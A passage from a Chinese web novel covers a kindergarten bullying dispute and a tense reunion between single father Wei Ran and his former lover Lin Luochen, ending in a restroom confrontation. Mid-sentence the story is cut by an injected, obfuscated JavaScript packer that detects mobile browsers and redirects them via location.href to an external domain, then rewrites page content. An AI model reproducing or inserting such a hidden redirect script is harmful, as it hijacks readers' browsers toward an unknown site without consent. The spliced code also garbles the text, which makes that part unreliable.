撅着小嘴的嘟嘟继续掉了两颗金豆豆，之后就硬生生地把眼泪憋回去了。 因为嘟嘟意识到自己哭的话，爸爸也会很伤心。 爸爸藏在帽檐阴影下的眼睛已经红了。 所以嘟嘟要努力憋住！ 嘴巴撅成“∧”型，拼命忍耐的嘟嘟下巴都堆起了皱褶！ 可嘟嘟是小男子汉，嘟嘟的使命就是保护爸爸！—— “爸爸，嘟嘟不哭了。” 蔚嘟嘟自己说。 嘟嘟不哭了，爸爸也不要哭哭了噢。 嘟嘟紧紧抱住爸爸的脖子，在上面吧唧了一口。 小珍珠却还止不住地往下掉。 蔚染愈加心如刀割，却也不敢表现出哀伤和自责。嘟嘟是个敏感的宝宝，他不敢让嘟嘟感受到自己的伤心。 好在蔚染演技够强，泛红的眼尾很快消退。 “刑建豪妈妈，谢谢您的提醒，但是。” 等嘟嘟好不容易不哭了，蔚染直直地站起身来，气势和声音都忽然变得不容置疑：“你们家刑建豪必须先向嘟嘟道歉。” “你！”巩女士没想到对方这么不识抬举，当即道：“你这么较真，你家嘟嘟以后能有朋友吗？” 但面对蔚染坚定盯视她的目光，巩女士气势不由自主地弱了。 又自觉丢了面子，巩女士为自己挽尊地骂骂咧咧：“这么怕被人说，你们就别来上学啊！退一万步说，谁奚落你们家宝宝了？我儿子说的只是事实，嘟嘟就是单亲家庭的……” “谁说嘟嘟是单亲家庭？” 办公室的门又一次被打开，这次是被人大力……暴力踹开的。 西装革履的年轻男人正出现在门外，身影高大落拓，脸色阴郁。 11. 第十一章 原本是为小侄子询问下入学事宜的林洛宸，碰巧听见办公室里传出的声音。 一脚踹开那扇门后，林洛宸难以控制地将目光向内一扫，第一眼便看见记忆里反复出现的青年。 …… 心跳骤然乱了几拍。 但紧接着，他就看见被青年抱在怀里的西瓜头小少年，黑葡萄似的大眼睛全红了，圆润的小奶膘上仍挂着泪痕。 嘟嘟就伏在爸爸的肩膀上，握着小拳头奋力忍耐。 不知怎么，林洛宸看见这一幕，立即心头火起。 他好久都没产生过这样猛烈的情绪，视线当即凶狠地向内扫视一圈，而后直接落在那个口无遮拦的女人身上，表情冷得渗人：“是你说的？” “我什么？”女人被他一吓，下意识地想要推脱责任。 旁边，亲自出面带林洛宸参观幼儿园的园长感觉尴尬极了，幼儿园不常有打架斗殴事件，偏偏今天就被这位明显会成为金主爸爸的优质家长给撞见了。 或者也不是能说是撞见，她知道教师办公室里正在协调这件事，已经有故意想引林先生先去小朋友们的教室参观。 不想听说嘟嘟参与打架，林先生就直接改道过来了。 再结合他说的话，园长小心试探地问：“林先生，您也是嘟嘟同学的家长？” 林洛宸没回答。 他沉默地站在那里，高大的身影极具压迫力，园长一时间都不知该再说些什么。 就在这时，趴在爸爸肩膀上的嘟嘟已经认出了林洛宸，当即揉了揉眼睛，接着挥小胖爪打招呼：“叔叔好。” 林洛宸瞳孔当即挪了一下。 听见这道稚嫩有礼貌的小童音，他终于顺理成章地将目光再度落到嘟嘟和他爸爸身上。 “……嘟嘟，你好。” 蔚嘟嘟：“叔叔，你怎么在这里呀？” 没等林洛宸回答，抱着嘟嘟的蔚染已经出声：“……宝宝？？” 帽檐的阴影下，蔚染面色肉眼可见地变得更苍白。 本来林洛宸忽然闯进门，蔚染还状况外地完全没反应过来，只眼神怔怔地望着对面那个人。 可待听见自家宝宝这声招呼，蔚染直接如遭雷轰了。 嘟嘟是怎么认识这个人的？…… 像是受到了什么重重一击，刚刚飞速涌现在脑海中的前尘往事顷刻间碎成齑粉，蔚染下意识抱紧怀里的嘟嘟、向远离林洛宸的方向退了一步。 林洛宸：“……” 林洛宸也怔在原地，直勾勾对着蔚染的方向，毫不避讳地看向他和他怀里的小少年。 蔚染：…… 办公室的氛围骤然变得微妙起来，偏偏刑建豪的家长这会儿回过味儿来，发现自己并没有必要害怕这个后出现的男人，不禁再度出声：“什么意思？你谁啊你，这又有你什么事？” 她只听见嘟嘟管男人叫叔叔，这样的称呼也就比陌生人亲近了一点点，这人大约只是嘟嘟爸的朋友。 可“嘟嘟爸的朋友”却立即将矛头指向她，声音冷酷地说：“有些人，不会只是因为孩子父母双亲都在身边，就觉得是给孩子一个健康的成长环境了吧？ “父母有没有什么拿得出手的才能德行？平时都教孩子点什么？有没有给孩子树立正确的榜样？没事照照镜子自我检讨一下，不难。” 巩女士：“你什么意思？我跟建豪的爸爸可都是高材生！……” “如果父母能凭学历就教育好后代的话，就不会有那么多豪门落没了。” 林洛宸冷漠地打断她，整了整自己的袖口，语气依旧淡然。 这种层次的辩论，如果是在谈判桌上，他根本一个字都不会吐。 于是林洛宸直接做陈述总结：“你平时要不是那么教育的你儿子，他能说出那些话？最可笑的是，女士，你们的家庭教育远没有嘟嘟爸爸进行的好。知道嘟嘟为什么不愿意跟你儿子吵架吗？” “……” 林洛宸：“也是苦了孩子。但是你们做家长的不教育，社会没人惯着你。现在嘟嘟家人的诉求是，你们必须向嘟嘟道歉。” “……被打的可是我儿子，我不道歉又怎么样？”巩女士还在挣扎：“大不了我现在就报警！” “你确定？”林洛宸本就心情不好，当即桀然一笑：“警察面前就不是口头道歉那么简单，别忘了你是儿子先动的手。” “……” 巩女士脸色大变，她看向蔚染，忽然露出恍然大悟的表情：“我知道了，你们一定要我家小豪道歉，其实是要保路诸这小子吧？老师，你确定通知路诸家长了吗？现在是路诸打了我儿子……” 一直没怎么被众人关注的路诸，露出了个完全不符合他年龄的表情，桀骜不驯地说：“先给嘟嘟道歉，别的你想怎么处理随便你。” 所有成年人都看得出来，那是什么都不在乎的讽刺表情。 巩女士今天相继在嘟嘟的两名家长那里吃瘪，不可能再被一个小孩吓住，她当即提高音量叫道：“跟我这耍无赖是吧？！我立即报警！叫警察叔叔抓你！” 女人说着就拿出手机。 路诸仍站在一旁，一脸的不屑。 嘟嘟顶着小奶膘看看这个又看看那个，眼睛都不够看了，最后只好还是看向自己的爸爸。 绕过爸爸脖子的小手在抠手手，嘟嘟轻轻叫了一声：“爸爸……” 要不然就算了喏。嘟嘟想说。 他不想给爸爸或者叔叔添麻烦，也不想帮助过自己的同学有事情。 蔚染拍了拍嘟嘟的小后背，已经安抚自家幼崽说：“放心吧宝宝，就算报警路诸也不会有事，他那个只是正当防卫，没有进行过二次伤害。” 他话音一落，装模作样要打电话的女人立即看向他。 蔚染只专心告诉自家幼崽：“路同学帮了嘟嘟，这件事情我们就要替他负责不能不管他，以后嘟嘟也要好好跟路同学相处，知道了么？” 小复读机嘟嘟乖巧地点了点头，认真应着：“跟路同学好好相处！” 路诸骤然仰头看向嘟嘟和他爸爸，一直以来绷紧的脸上神情越发凝固。 蔚染继续给自家宝宝讲道理，轻轻软软的绵羊音，即使在这种剑拔弩张的氛围里也依旧温声细语：“还有任何时候、但凡遭受到伤害了，宝宝都不能轻易妥协，更不能为了爸爸妥协。因为宝宝被人欺负了爸爸会很难过，宝宝不想给爸爸惹事的时候，爸爸会更难过。” 嘟嘟听了，赶紧用小胖手摸摸爸爸的脸：“……爸爸，别难过！” 蔚染欣慰地冲儿子笑了笑。旁边的老师也不由自主露出欣慰的笑——看！这才是有效教育！ 倒是巩女士在发现彻底没有商量余地后，只好脸色不好地让刑建豪去给嘟嘟道歉。 她倒是不介意儿子口头上去给人道歉，她要的说法针对的一直都是路诸，刚才先发制人，除了的确很生气以外，还因为视频上的确是小豪先动的手，她担心嘟嘟家里会先讹上他们家。 现在既然嘟嘟家长坚持的是要道歉，巩女士便扬着嗓门喊来刑建豪：“那你给嘟嘟同学道个歉。” 头上顶着个包的刑建豪直接被他妈喊傻了，干脆不走出来：“我不！” “你这孩子，别墨迹了，赶紧给嘟嘟道歉！” 巩女士不是很有耐心地说，不曾想，她儿子反抗得却很严重： “我不！凭什么？我又没说谎！白泽他就是单亲家庭的孩子啊，他没有妈妈！这话还是你告诉我的！我说的没错！” “别胡说！我、我什么时候……” 巩女士当即就想矢口否认。 小孩子还可以说成是口无遮拦，可如果被证实是大人在背后嚼别人家孩子的舌根，那这个大人就太没品了。 巩女士可不想认下这个事，可刑建豪刚刚才见识了嘟嘟爸爸那种温柔的教育方式，没有对比就没有伤害，面对又开始凶他的妈妈，刑建豪再度哭嚎出来：“就是你说的！就是你说的！你在家跟爸爸说的！你还说嘟嘟和路诸都是……” “够了。” 这次是蔚染打断他们的对话。 他不想再听一遍嘟嘟是没有妈妈的话了，蔚染只看向园长，态度依旧客气道：“园长，我以为咱们幼儿园最大的优点就是生活氛围好、不比较父母，让孩子们可以自由成长。” 园长：“嘟嘟爸爸，您听我解释……” 旁边林洛宸却趁机说：“这种氛围的幼儿园不是贵方一家独有，外面还有很多，实在不行我们就转学。” 后半句话，他是对看过来的蔚染说的。 这是林洛宸恢复记忆后，两个人第一次对视。 林洛宸手指微屈，喉头也不着痕迹地滚动了一下，其他区域，他强迫自己不动。 不想蔚染下一刻便睫羽轻拢，特别干脆地避开了他的目光。 林洛宸：“……” 也说不上自己是什么心情。 让嘟嘟转学他不是随便说说，进这屋的那一刻他就有这个想法——既然这里有人欺负蔚染的儿子，那他们就去嘟嘟永远不会被欺负的地方，由他亲自来安排，这种事情不可能再发生第二回。 可他是个什么样的身份？有什么立场做这种决定？ 蔚染不主动提给嘟嘟转学的话茬，他林洛宸，又凭什么去提这件事？ 连单纯吓唬园长说要退学的资格都没有。 林洛宸浑身骤然笼罩着一股阴郁的气息。 看上去比刚才更不好说话了。 园长并不想失去嘟嘟这么可爱的宝宝，更何况还有林先生有意入学的侄子。现在幼儿园很卷的，招生本就十分困难了，再闹走了俩那算什么了？ 她当即给老师使了个眼神，她自己负责安抚嘟嘟爸爸和叔叔，老师则去跟巩女士对话。 这件事情，里外都是邢家的不对，老师也无奈极了：“建豪妈妈，您平时怎么能在小孩面前说这个呢？……” 自觉高知很会教孩子的巩女士下意识涨红了脸，于是更恼怒自己儿子的“愚蠢”，当即一巴掌拍在小孩背上，“要你道歉你就道歉，你是听不懂妈妈的话刑建豪？你怎么什么都说，好赖不知？……小豪，你是智力有什么问题吗？” 刑建豪直接更大声地哭嚎了出来。 哭声刺耳，路诸直接不耐烦地捂住耳朵，嘟嘟跟爸爸对视了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361018|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼，就挣扎着从爸爸的臂弯里要下来。 爸爸这么瘦，不好经常这样抱大宝宝的。 很懂事的嘟嘟吧嗒一下落了地，这次他主动跑到了刑建豪面前。 嘟嘟长得比同龄小朋友要小一些，更何况刑建豪还不知因为什么晚上了一年幼儿园，今年五岁，个头和块头上都比嘟嘟壮实了大一截。 蔚染其实很担心嘟嘟遭受霸凌。 哪怕只是被同班小朋友吓到了、从此变得胆小了，也是蔚染完全无法面对的事情。 如今见嘟嘟在大块头的刑同学面前一点不怯场，他才彻底松了口气。 倒是一旁的路诸在看见嘟嘟竟然跑去找刑建豪后，直接拧起了眉头。 众目睽睽之下，只见嘟嘟拍了拍因为被妈妈骂而彻底倒地撒泼的刑建豪，也没说什么，就蹲在他身边。 刑建豪本来挺烦这个样子的白泽的，他听了他爸妈的对话，总觉得白泽是不健全的，所以白嘟嘟偶尔的懂事和沉稳都成了他眼中的“残次”象征，所以才会想欺负。 可这一刻，或许是忽然觉得嘟嘟爸爸比他爸妈好多了，或许是从白嘟嘟圆溜溜的眼睛里获得了某种力量，刑建豪看这个小孩忽然顺眼了。 他干脆一把捞过白嘟嘟：“哇呜呜嘟嘟，对不起！我以后再也不说你爸爸坏话了！你爸爸是好爸爸！” “唔！”被抱住的嘟嘟小萝卜头似的向前一栽，险些被带倒，但还是凭借意志力稳定了下来。 又伸出小手拍了拍大哭的刑建豪：“没关系的呦，嘟嘟接受你的道歉啦！” 没想到白嘟嘟这么柔软这么好说话，刑建豪更加收不住了，继续大哭着呜呜呀呀地说：“呜呜呜嘟嘟，你真好！” 嘟嘟瞬间不好意思了，伸出小手挠了挠自己的小奶膘：“啊呀，也还行吧……” 刑建豪如光芒泽披，当即吸了吸鼻子说：“怪不得你说你只要爸爸就够了，你爸爸真好！” 嘟嘟眨了下大眼睛，十分认同地点头：“是哒呦！” “嘟嘟，我们可以做好朋友吗？” “没问题哒。”嘟嘟很大方地说。 刑建豪更加感动了，又道：“那嘟嘟，你爸爸可以也做我爸爸吗？” “？！” 一直处事不惊的嘟嘟这下完全被惊到了，立即从刑建豪怀里蹦脱，小白兔一样跑回爸爸身边抱住大腿：“介个不可以哒！” “……哇！呜呜呜！” 刑建豪小朋友没有想到自己在这里被拒绝了，当即继续撒泼。 他妈妈早已被他气了个倒仰，外加上遭到了老师的指责，巩女士也管不了那么多了，当即嚷嚷着要退园。 这时候，办公室的门再度被人推开，穿着一身休闲装、但整体造型看起来很骚包的杜陵冲进来。 “谁？！谁说我们嘟嘟没妈的？我就是他舅舅！” 杜陵戴着副墨镜，因为太愤怒，进来直接冲向那边撒泼的巩女士，不客气地道：“就是你吧？平时怎么教育孩子的，你老公现在也没在现场，合着你儿子也没爸爸吗？？” …… 杀气腾腾走到一半的杜陵又忽然发觉哪里不对。 ……办公室里，好像有一个特别不该出现在这里的人？ 看了看站在一边的林洛宸，杜陵赶紧扭头看向蔚染。 蔚染压在帽檐下的俊脸则表情尴尬。 ——还是略有些担心嘟嘟没有母亲的事、最终会成为儿子被同学排挤的理由，所以来的路上蔚染联系了杜陵，请他也来幼儿园一趟，扮演嘟嘟的舅舅。 这样至少能侧面告诉别人，嘟嘟是有母亲的。 但他没想到他们会在这里遇到林洛宸。 不过这样也好，蔚染记得，林洛宸是没见过杜陵的。 那么在杜陵侧面表现出嘟嘟是有妈妈的以后，这个人应该就不会怀疑…… 这边的事差不多处理完了，剩下的就由蔚染的助理接手与巩女士理论，蔚染则带着嘟嘟、路诸，和杜陵一起离开了老师办公室。 林洛宸跟在他们身后。 刚一出来，这一趟等同于白来了、并没有发挥什么作用的杜陵就像被憋坏了似的，一脸懵逼地问蔚染：“怎么回事？他怎么来了？” 这显然是杜陵最在乎的问题。还有什么比看见蔚染跟那个谁又在一起了，更冲击的！ 蔚染却不知道该怎么解释，因为他也不知道，就只能轻微地摇摇头。 蔚染大步向前走，尝试给自己洗脑并不认识对方。毕竟他们之间怎么看，都不需要有任何交集。 蔚染干脆将嘟嘟塞进杜陵手里：“嘟嘟，让你舅舅抱你。” “唔！” 杜爸爸偶尔也会是嘟嘟的舅舅，嘟嘟知道这是爸爸跟宝宝的小暗号，每当爸爸这么说，宝宝就只要软乎乎地、去杜爸爸那里就可以啦！ 嘟嘟黑葡萄似的眼睛布灵布灵地看着爸爸，蔚染则满意于跟自家宝宝打的这场配合。 可出了老师办公室后，林洛宸却单手插在裤兜里，声音好似漫不经心般地响起：“杜先生姓杜吧？不是嘟嘟的干爹么，怎么，又成舅舅了？” 蔚染：……？？？ 12. 第十二章 路诸的妈妈是最后赶到的，踩着高跟鞋、手里拿着精致包包的女人步履匆忙，在走廊上发出一串响亮清脆的脚步声。 但她也没想到事情已经被解决。在走廊上就连连向蔚染道起谢来，并且表示赔偿的问题由她来解决，不用蔚染管。 “真是不好意思，路诸给您添麻烦了。”路妈妈再次道歉。 蔚染继续摇头表示：“路诸都是为了帮嘟嘟，我得谢谢他，还有您。” “不、不。”路妈妈连忙摆手，表情骤然像是要哭，一脸的难言之隐。 但最后，她只是抬起保养精致的手抹了抹脸，欣慰笑道：“因为……想必您也听说过了，因为他爸爸的事，路诸在美国也待不下去了。没想到回国以后这孩子性格变得更孤僻，我真怕他这辈子都交不到朋友……幸好路诸遇见了嘟嘟。” 旁边不远处，两个小朋友正凑在一起说话。 路诸怎么看在这个园区里都格格不入，除了他的年纪、性格以外，还因为他的身高。 小少年体态修长得像抽枝的柳条，不像六岁。皮肤被晒得略黑，还干瘦干瘦的，几乎快看不见婴儿肥。 跟他一比，蔚嘟嘟就像一块圆润的白糯米糍粑，柔软、细嫩。 路诸就这样戳了戳软软的白嘟嘟。 在嘟嘟水灵灵黑葡萄一样的眼睛看过来的时候，他语气生硬地说：“谢谢你。” “谢，嘟嘟什么呀？”蔚嘟嘟没懂。 事情不应该是像爸爸说的那样，路诸帮助了嘟嘟，由嘟嘟来谢路诸的吗？ 可是爸爸来之前嘟嘟已经谢过路诸哥哥了，所以现在嘟嘟搞不懂了。 幼崽小胖手挠头.jpg “谢你……” 路诸目光下移，想起刚才刑建豪的妈妈建议嘟嘟和嘟嘟爸爸不要再跟自己来往的场景。 这种场面对他来说完全不陌生，无论是现在还是过去在美国。 路诸对待这样说的人的态度就是——你们不是说我爸是杀人犯、说我也是暴力狂吗？好啊，那就如你们所愿。 可是今天嘟嘟和他爸爸，似乎都自动忽略了刑建豪妈妈的话。 …… 路诸终究没有说出什么来，只是揉了揉嘟嘟的西瓜头，说：“放心，以后我会保护你。” “哒？” 嘟嘟仰头，依旧不太明白路诸为什么这么说。 不过嘟嘟的注意力很快被哥哥手臂上、一块月牙型的明显伤疤所吸引。 这块疤嘟宝早就注意到了，路诸说是在美国的时候跟人打架打的，并没有过多的描述。语气云淡风轻。 嘟嘟当时就觉得路诸好帅，能打，像自己的爸爸一样坚强！ 不过回家后他跟爸爸分享这事儿的时候，爸爸却说这么大块的伤疤，那当时一定是受了很严重的创伤。 “会很痛，而且需要养好久。嘟嘟的那个同学还那么小就经历了这种事？” 当时蔚染抱着嘟嘟说：“那他好可怜的，嘟嘟要对那名小同学好点噢。” “会哒。” 当时嘟嘟捂着自己的小胳膊，虽然想象不到有多痛，但爸爸都说痛、那就一定好痛好痛！搞得嘟嘟都觉得自己的胳膊有点痛。 但这也不耽误嘟嘟同学重复：“路诸哥哥可怜的，嘟嘟会对哥哥好。” …… 眼下，嘟嘟扯过路诸带着伤疤的手臂，认真且真挚地说：“可是路诸哥哥，你要先保护好自己噢！” 路诸：“……” 不喜欢被人抓着那只手臂的路诸直接愣住了，半晌没有回神。 等他反应过来的时候，嘟嘟已经被他爸爸叫回去了，临走时，还往路诸手心里塞了块巧克力糖。 …… 因为今天的事情，当事人三位小朋友都可以提早放学。 告别了路诸和他妈妈后，林洛宸还跟在他们后面：“一起吃个中饭吧。” 他嗓音清淡，一边说还一边动作随意地往蔚染身上扫了一眼。 杜陵率先蹦了出来。 “一起吃是什么意思？谁要跟你一起吃？阿染，他谁啊？” 杜陵还在厚着脸皮假装自己不认识这个人，蔚染顶着发白的一张脸，说：“我要赶回片场拍戏了，不方便。……阿陵，你帮我照看嘟嘟？” 杜陵当然表示没问题，林洛宸却看了眼时间：“吃个饭，不会耽误很长时间。” 蔚染低头压下帽檐，“抱歉，我这边真的不……” 林洛宸声音强硬地插入：“你助理说你下午两点上妆就来得及。” “……”蔚染猛地抬头，苍白的唇也抖了一下，显然是想问林洛宸怎么知道这个的。 林洛宸双眸紧紧注视他，抬手指了指地面，说：“你刚才跟助理说的，就在这里。” 蔚染：“……” 蔚染还想说什么，林洛宸已经深吸口气，尽量让自己的声音听上去平静：“好歹也认识一场，不至于现在连顿饭都不能一起吃了吧？” “……” “染哥。” …… 林洛宸选的餐厅是一家会员制的私房菜。 他很久没回国内，对如今S市的各大饭店都没什么了解，所以一上来就选了这家隐私度最高的餐厅。 整层楼都只接待他们这一桌客人，绝对不会被人打扰，蔚染也不用怕被人认出来。 刚一进饭厅，嘟嘟就被叔叔抱着坐上了儿童座椅，面前同时出现了一本菜单。 “嘟嘟看看想吃什么？” 菜牌太大了，嘟嘟拿不住。林洛宸就抽了把椅子坐在旁边，在后面帮忙扶着。 嘟嘟没有立即点菜，而是看了眼爸爸。见蔚染对他点了点头，嘟嘟的大眼睛才移到菜牌上，去看那些五颜六色的图案。 蔚染面孔苍白地坐在另一侧，削瘦的身形即使裹着棉衣也显得异常单薄，帽檐压得很低。阴影下面，他只露出一截挺翘的鼻尖、和一双淡色的略微抿紧的唇。 穿着规矩制服的小姐姐给客人们倒上特制的养生水，蔚染喝了一口，脸色仍旧不是很好。 他旁边，一定要跟来的杜陵脸色更臭。 一想到方才在幼儿园里，戳破自己不是嘟嘟舅舅的时候，姓林的甚至还表面故作理解、实则道貌岸然地说了一句“一切都是为了孩子”…… 杜陵就想揍人。 ……他呸！ 怎么的，他也知道嘟嘟没有传统意义上的妈妈，所以需要人来假扮啊！？ 实在看不下去了，杜陵站起来走到嘟嘟身边，试图去抢林洛宸的位置。 “嘟嘟都点什么了？让杜爸爸看看，香烤澳洲和牛？不错，要这个M9的。波士顿龙虾刺身？哇，他们家有法国蓝龙耶，宝宝不想尝尝吗？” “蓝龙？！是蓝色的喷火小龙咩？那宝宝不要。” 嘟嘟惊呆了，赶紧摆起小手。 成功引起嘟嘟兴趣的杜陵干脆直接抢过菜单，并迅速回答嘟嘟说：“不是不是，这也是龙虾的一种，看！” 一张半是龙虾刺身、半是蒜蓉龙虾的图片出现在嘟嘟眼前，嘟嘟“O”了一下，认识这种虾虾好吃，于是点头：“好哦，宝宝想尝尝！” “那就来两只，一只刺身，一只蒜蓉。”杜陵挑衅地看了林洛宸一眼，继续陪嘟嘟翻看菜单。 林洛宸干脆起身向旁边挪了一个位置，把座位让给了杜陵，他则看向旁边的蔚染。 注意到这样子反而让姓林的挨到蔚染旁边的杜陵：…… 操，这是顾头顾不了腚了！ 幸好，私房菜服务周到，很快又有水果和四色茶点点心被端了上来。 服务员们进进出出，倒也不信姓林的能做什么。杜陵警惕了半晌，就只听林洛宸说：“染哥，瘦了不少。” “……是么？”蔚染简单应了一句：“还行。” 林洛宸：“在屋里也不摘帽子吗？这里不用担心隐私。” 蔚染说：“我习惯戴帽子。” 林洛宸目光更为专注地钉在他身上，也不执着于帽子，就只是说：“染哥这些年好么？” “哦，还行。”蔚染又应了一声。 他再度喝了口水，大概是出于礼貌，半晌后才在林洛宸的注视下反问：“你、你呢？” “我？” 林洛宸闻言，身体微微靠后，同样过了半晌后才说：“也还行。” 蔚染说：“噢。” 看上去又开始犯迷糊，是处在状况外了。 所幸姓林的没再说什么，后来直到点完菜，林洛宸和蔚染都没再说过一句话。 跟服务员交代完注意事项，杜陵直接把桌面上的点心盒子抽过去，拿给嘟嘟吃。 四色点心有云片糕、栗子糕，豌豆黄和蟹黄酥，嘟嘟吃河蟹会过敏，杜陵自动避开了蟹黄酥，拿旁边的云片糕给嘟嘟吃。 白色的糕体质地柔软湿润，犹如凝脂，气味香甜。 嘟嘟小小地咬了一口，小奶膘上下攒动了几下就完成了咀嚼和吞咽，开心地说：“谢谢，杜爸爸~” 然后转动小身子，打算给爸爸分享这种白白的糕饼，又想起爸爸不吃这种小零食，嘟嘟便探出小手臂、去摸桌上的水果。 摸到一粒葡萄，小手便攥着葡萄递到爸爸嘴边：“爸爸，吃这个！” 蔚染不会拒绝宝宝，直接吃下那粒葡萄，还说：“谢谢宝宝。” 旁边杜陵忽然吃味儿了：“唉？Daddy给你吃好吃的，你怎么不给Daddy吃葡萄，净想着你染染爸爸啦？” “杜爸爸不要生气。” 嘟嘟当即拿了块点心投喂给杜陵：“你吃这个！” 杜陵嘴里多了块栗子糕，香气浓郁的栗子味在口腔散开，他下意识挑衅地向林洛宸的方向望了一眼。 林洛宸完全无视了他。 四肢过分修长的男人坐在不算宽大的木质座椅上，显得压迫感十足。 林洛宸依然目不转睛地看着对面的蔚染。 蔚嘟嘟很会端水的，也没忘了最对面的叔叔。 小小的崽儿眨了眨眼，长睫毛也晃了晃，然后再次拿起面前的一块点心，伸开小胳膊往对面递。 “叔叔，介个你吃。” 很会照顾大人的嘟嘟说。 林洛宸闻声转回视线，一眼看见蔚嘟嘟的小手上捏着一块小糕点。 家里有他在的地方、小孩子都不敢轻易说话。林洛宸没被小朋友递过东西吃，除了上一次街边的栗子以外…… 迟疑片刻后，林洛宸伸手接过，说：“谢谢。” 说完，很给嘟嘟面子地将那块糕点送入口中。 蔚染目光落在木质餐盒边、“蟹黄酥”三个花体字上，忽然猛咳了几声。 桌边其他三个人齐齐看了过来。 蔚染拿起盛装柠檬水的玻璃杯喝了口水，说：“……没事。” 眼见林洛宸毫不犹豫地将蟹黄酥咽下，蔚染露出些许疑惑的表情。 但在林洛宸又一次目不转睛的逼视下，他实在受不了地站起了身。 “我去个洗手间。” 室内空调开得足，温度不低，蔚染进门后便在嘟嘟小棉袄的贴心提醒下脱了身上的棉服，现在只穿了一件简单的白色卫衣，起身的时候自然露出一截劲瘦的腰身。 他在服务员的指引下、缓缓向走廊尽头的洗手间走去。 表面看上去稳定平静极了。 年轻时候的蔚染，也曾肆无忌惮地在公众面前暴露真实的自己，但也得到了足够的教训。 后来蔚染便丝毫不敢表现了，他只知道少说话、少摆表情、多闷头做事就不会出错。 况且近些年来，他不工作、不带嘟嘟的时候大脑一般都处于空白状态，所以倒并不需要刻意做什么表情管理。 但这并不意味着，蔚染此刻的心情也如外表一般平静。 他本就疲惫极了，基本不会将精力放在照顾嘟嘟和拍戏以外的事情上，但因为林洛宸的骤然出现，大脑如今不得不继续超负荷地运转。 蔚染在想那个人怎么会出现在这里、他是什么意思？…… 林洛宸之前竟然已经接触过嘟嘟了，连杜陵他都知道了，那他，他知道嘟嘟的身世么？…… 洗手间里太安静了，以至于蔚染因休息不好、产生的耳鸣声变得更加明显。 好半天，他才想起来现在的时间和场景，攥住洗手台的手指下意识收紧。 指尖全部变得青白毫无血色，蔚染闭了闭眼睛，终于挺直身体，表情淡然地走出洗手间。 洗手间外，是男人伫立着的高大身影，衣冠楚楚，西装革履。 蔚染穿的跟个学生似的，恍惚间仿佛比穿着正式的男人还要年轻了一两岁。 他望着对方，张了张嘴：“你不舒服？” “不舒服？” 林洛宸眉宇压得很低，一动不动地打量着对方：“为什么这么说？” 蔚染猛地摇了摇头，尽量不动声色地移开目光：“那 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“我说，嘟嘟的生日。……蔚染你装什么傻？！那往前数十个月，你还睡在我床上！” 压抑的怒火终于爆发出来，林洛宸越说越生气，扣住对方手腕的力气变得更大了些。 嫌帽子碍事，或是急于看见蔚染掩藏在帽檐和镜片双重阴影下的眼，林洛宸干脆伸手抬起蔚染尖细的下颌，说：“分开五年，你孩子都四岁了！这就是你说的你是明星，不能谈恋爱？！” 蔚染：“……” 再度对上那双暴虐的、异常发红的双眼，蔚染却反而冷静了下来。 ——他还不知道。 “你……”蔚染尝试低头，但失败了。 他便干脆不挣扎了，保持被迫仰视着对方的姿势，声音却极平淡地说：“……我那时候就说过，是我对不起你。” 林洛宸阴鸷一笑：“但你没说，你那个‘对不起’是脚踩两条船，给我戴绿帽子。” “我……” 蔚染无从解释。 不过比起被误会给对方戴绿帽子，蔚染倒是更不想被对方知道嘟嘟的身份……遇见林洛宸太突然了，他本身就处在宕机状态，眼下根本无法思考该怎么应付眼前这个人。 幸好，不等他想到该说些什么，林洛宸已经嗓音更沉地说： “……蔚染，是你说的，是你说梦想比什么都重要。” 林洛宸忽然发起狠来，指尖极为大力地擦着蔚染线条清晰的下颌。 他想起年轻的时候，他就是受了那样坚定阳光的蔚染的影响，从自己没兴趣的商学院退学、跟家族决裂，也去追逐自己的梦想。 五年前，他不怪蔚染为了提前设下的目标离开他。 他的记忆里从未出现过怨怼和责怪。 可五年后，当记忆一股脑地涌回来的时候，却叫他发现这一切都不过是个笑话。 “嘟嘟的母亲是什么人？”林洛宸骤然问。 “……” “她长得漂亮？还是很有钱，她能给你资源还是什么？” “……林洛宸。”蔚染拨开他的手，不欲与他多说地打断他。 林洛宸的声音却骤然放大：“蔚染，你图她什么？你图她什么你跟我说！你知道当时，只要你跟我说，你知道我都可以……” “林洛宸！” 蔚染直接用力将人推开。 林洛宸：“所以你是喜欢她。” “……” 蔚染别开眼，每次流出生图都会让粉丝疯狂的绝美侧颜对着对方，什么都没说。 沉默得好似默认了一样。 林洛宸看着这样的蔚染，一直以来积压的火气瞬间爆发出来，他再度欺身上前：“她是谁？你爱她？连事业都不顾了？！” 蔚染抬臂挡住对方，却被人连同格挡的手臂一同压在墙上，蔚染只好稍微更大声音一点：“林洛宸，你放开，现在发什么疯？！” “发什么疯，我早就疯了。”林洛宸顺势握住他的手腕，目眦尽裂。 蔚染比五年前要瘦了许多，压在身下薄薄的一片，林洛宸更为大怒：“公开承认是吧，你看看自己现在都混成什么样儿了！蔚染，你对她那么深情，你捞到什么好处了吗！……” “够了，那不关你的事！” 一声声逼问让人心浮气躁，蔚染更大声地打断林洛宸，同时一挥被握住手腕的那只手。 因为用力过猛，拳头直接打到对方一侧的面颊上。 然后整个洗手间都安静了。 蔚染：“……” 林洛宸：“……” 蔚染自知这一拳打得很重，声音慌乱： “你怎么样？对不起，我不是故意……” 慌忙中，他直接摸上了对方的脸。 指尖冰凉，林洛宸却忽然不动了，只视线灼热地盯着蔚染。 然后猛然抬手按住了蔚染那只手。 蔚染：“……” 稚嫩的童音同时从不远处响起：“……爸爸？……叔叔？” “？！” 蔚染一惊，下意识将自己的手从对方掌心抽出。 “……” 刚发生口角的两个大人齐齐扭头望去，就见嘟嘟正被杜陵牵着，不知何时到了洗手间的门口。 不及人膝的人类幼崽声音怯怯地：“你们在打架吗？” 嘟嘟的圆眼睛看看这个又看看那个，很快注意到林洛宸一侧面颊上发红的痕迹。 “咦？叔叔你受伤了？” 嘟嘟迈开小短腿，哒哒哒地跑到二人近前。 “……”蔚染面如白纸，表情都僵硬了。 